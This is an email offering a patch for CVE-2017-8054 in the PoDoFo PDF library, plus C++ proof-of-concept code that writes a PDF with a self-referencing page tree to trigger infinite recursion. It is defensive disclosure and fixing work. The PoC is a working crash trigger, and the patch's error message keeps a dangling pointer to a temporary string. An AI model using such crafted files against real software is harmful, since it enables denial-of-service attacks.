Hello,
attached is a patch (tested with jessie, I don't use Debian 9/stretch yet) to
fix CVE-2017-8054.
The source code for a program using PoDoFo to generate the PoC I tested with is
also attached.
Best regards, Matthias
--- src/doc/PdfPagesTree.cpp (revision 1793)
+++ src/doc/PdfPagesTree.cpp (working copy)
@@ -34,6 +34,7 @@
#include "PdfPagesTree.h"
#include "base/PdfDefinesPrivate.h"
+#include <algorithm>
#include "base/PdfArray.h"
#include "base/PdfDictionary.h"
@@ -478,7 +479,17 @@ PdfObject* PdfPagesTree::GetPageNodeFrom
if( rVar.IsArray() )
{
// Fixes some broken PDFs who have trees with 1 element kids arrays
- return GetPageNodeFromArray( 0, rVar.GetArray(), rLstParents );
+ // Recursive call removed to prevent stack overflow, replaced by:
+ // all the following inside this conditional, plus restart looping
+ const PdfArray & rVarArray = rVar.GetArray();
+ if (rVarArray.GetSize() == 0)
+ {
+ PdfError::LogMessage( eLogSeverity_Critical, "Trying to access"
+ " first page index of empty array" );
+ return NULL;
+ }
+ rVar = rVarArray[0];
+ continue;
}
else if( !rVar.IsReference() )
{
@@ -502,6 +513,19 @@ PdfObject* PdfPagesTree::GetPageNodeFrom
if( !pgObject->GetDictionary().HasKey( "Kids" ) )
return NULL;
+ if ( std::find( rLstParents.begin(), rLstParents.end(), pgObject )
+ != rLstParents.end() ) // cycle in parent list detected, fend
+ { // off security vulnerability CVE-2017-8054 (infinite recursion)
+ std::ostringstream oss;
+ oss << "Cycle in page tree: child in /Kids array of object "
+ << ( *(rLstParents.rbegin()) )->Reference().ToString()
+ << " back-references to object " << pgObject->Reference()
+ .ToString() << " one of whose descendants the former is.";
+ const char* pszErrorDesc = oss.str().c_str();
+ PODOFO_RAISE_ERROR_INFO( ePdfError_PageNotFound,
+ pszErrorDesc );
+ }
+
rLstParents.push_back( pgObject );
rVar = *(pgObject->GetDictionary().GetKey( "Kids" ));
} else {
#include "workaround_create_base14.h"
#include <podofo/podofo.h>
using namespace PoDoFo;
void CreatePagesLoopPoC(PdfDocument& doc)
{
PdfPage* pFirstPage = doc.GetPage( 0 );
PdfObject* pFirstPageObject = pFirstPage->GetObject();
PdfObject* pParentObject = pFirstPageObject->MustGetIndirectKey("Parent");
PdfArray & rParentKidsArray = pParentObject->MustGetIndirectKey("Kids")
->GetArray();
rParentKidsArray.insert(rParentKidsArray.begin(),
pParentObject->Reference());
pdf_int64 ll2 = 2; // needed to make the following call unambiguous
pParentObject->GetDictionary().AddKey("Count", ll2); // 1 original, 1 loop
}
#define FONTNAME "Helvetica"
#define TEXTPOS_X 72.0
#define TEXTPOS_Y 72.0
#define SAMPLE_TEXT "Sample"
void DrawSampleTextOnPage(PdfPage* pPage)
{
PdfPainter painter;
painter.SetPage( pPage );
PdfFont* pFont = PdfFontFactory::CreateBase14Font( FONTNAME, 0,
PdfEncodingFactory::GlobalWinAnsiEncodingInstance(),
pPage->GetObject()->GetOwner() );
painter.SetFont( pFont );
painter.DrawText( TEXTPOS_X, TEXTPOS_Y, PdfString( SAMPLE_TEXT,
pFont->GetEncoding() ));
painter.FinishPage();
}
#define OUTFILE "my-CVE-2017-8054-PoC.pdf"
int main()
{
PdfMemDocument doc;
PdfPage* pPage
= doc.CreatePage( PdfPage::CreateStandardPageSize( ePdfPageSize_A4 ));
DrawSampleTextOnPage( pPage );
CreatePagesLoopPoC( doc );
doc.Write( OUTFILE );
return 0;
}